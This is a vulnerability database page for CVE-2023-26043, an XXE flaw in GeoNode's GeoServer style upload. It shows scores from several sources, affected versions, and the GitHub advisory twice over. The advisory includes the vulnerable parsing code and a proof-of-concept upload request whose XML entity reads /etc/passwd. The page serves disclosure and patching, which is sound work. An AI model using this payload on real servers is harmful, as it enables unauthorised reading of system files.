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CVE-2023-26043

XML External Entity (XXE) injection in GeoServer style upload functionality

6.5 MediumFix available

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.84%Unchanged since Feb 28, 2023
90%50%10%1%

What each source reports

CVE List Score used 6.5

XML External Entity (XXE) injection in GeoServer style upload functionality

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Record
CVE-2023-26043
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-611
Updated
2026-11-02
EUVDEUVD-2023-0081 6.5

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Record
EUVD-2023-0081
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-mcmc-c59m-pqq8 7.1

GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection

Summary

GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details

GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
    def respond(*args, **kw):
        kw['content_type'] = 'text/html'
        return json_response(*args, **kw)
    ...
    sld = request.FILES['sld'].read() # 1
    sld_name = None
    try:
        # Check SLD is valid
        ...
        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
    except Exception as e:
        respond(errors=f"The uploaded SLD file is not valid XML: {e}")
    name = data.get('name') or sld_name
    set_dataset_style(layer, data.get('title') or name, sld)
    return respond(
        body={
            'success': True,
            'style': data.get('title') or name, # 3
            'updated': data['update']})

dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
    try:
        if sld:
            if isfile(sld):
                with open(sld, "rb") as sld_file:
                    sld = sld_file.read() # 1
            if isinstance(sld, str):
                sld = sld.encode('utf-8')
            dom = etree.XML(sld) # 2
        ...
    named_dataset = dom.findall(
        "{http://www.opengis.net/sld}NamedLayer")
    el = None
    if named_dataset and len(named_dataset) > 0:
        user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
        if user_style and len(user_style) > 0:
            el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
    ...
    return el[0].text # 4

extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC

  1. Create a guest/non-privileged account and log in.
  2. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>.
  3. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
 …
Record
GHSA-mcmc-c59m-pqq8
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-611
Updated
2026-11-02
NVD 6.5

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Record
CVE-2023-26043
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-611
Updated
2026-11-02
OSV 6.5

XML External Entity (XXE) injection in GeoServer style upload functionality

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Record
CVE-2023-26043
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-611
Updated
2026-11-02
OSVGHSA-mcmc-c59m-pqq8 7.1

GeoServer style upload functionality vulnerable to XML External Entity (XXE) injection

Summary

GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

Details

GeoNode's GeoServer has the ability to upload new styles for datasets through the dataset_style_upload view.

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
    def respond(*args, **kw):
        kw['content_type'] = 'text/html'
        return json_response(*args, **kw)
    ...
    sld = request.FILES['sld'].read() # 1
    sld_name = None
    try:
        # Check SLD is valid
        ...
        sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
    except Exception as e:
        respond(errors=f"The uploaded SLD file is not valid XML: {e}")
    name = data.get('name') or sld_name
    set_dataset_style(layer, data.get('title') or name, sld)
    return respond(
        body={
            'success': True,
            'style': data.get('title') or name, # 3
            'updated': data['update']})

dataset_style_upload gets a user-provided file (1), pass it to extract_name_from_sld to extract an element from it (2) and return the former in the response (3).

# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
    try:
        if sld:
            if isfile(sld):
                with open(sld, "rb") as sld_file:
                    sld = sld_file.read() # 1
            if isinstance(sld, str):
                sld = sld.encode('utf-8')
            dom = etree.XML(sld) # 2
        ...
    named_dataset = dom.findall(
        "{http://www.opengis.net/sld}NamedLayer")
    el = None
    if named_dataset and len(named_dataset) > 0:
        user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
        if user_style and len(user_style) > 0:
            el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
    ...
    return el[0].text # 4

extract_name_from_sld uses sld (which is a path to the provided file), reads it (1) and parses it with etree.XML in 2. Since the former uses a default XMLParser, the parsing gets done with the resolve_entities flag set to True. Therefore, dom handles the parsed XML containing the resolved entity (2), gets NamedLayer.UserStyle.Name in 3 and returns the resolved content in 4.

PoC

  1. Create a guest/non-privileged account and log in.
  2. Upload a dataset through /catalogue/#/upload/dataset whose name we will be referencing as <DATASET_NAME>.
  3. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of /etc/passwd:
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
 …
Record
GHSA-mcmc-c59m-pqq8
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-611
Updated
2026-11-02
OSVPYSEC-2023-15 No score

GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read. This issue has been patched in version 4.0.3.

Record
PYSEC-2023-15
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
geonode
PyPI
before 4.0.3
4.0.3
geonode
PyPI
before 4.0.3, plus listed versions
2.02.0.12.0.dev201309131819502.0.dev201406261912472.0b10
Show 45 moreShow less
2.0b112.0b122.0b132.0b172.0b182.0b192.0b212.0b222.0b242.0b252.0b262.0b272.0b282.0b292.0b32.0b302.0b312.0b322.0b332.0b342.0b352.0b362.0b372.0b382.0b392.0b42.0b402.0b412.0b422.0b432.0b442.0b452.0b462.0b482.0b492.0b52.0b502.0b512.0b522.0b532.0b542.0b552.0b572.0b582.0b59
4.0.3

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-26043 is a medium vulnerability (CVSS 6.5) in Geonode, published February 27, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.84%, the 57th percentile. Fixed in geonode 4.0.3.

References

This page doesn't list everything

Left out here: 161 versions and the rest of 2 source descriptions. The JSON record has them.

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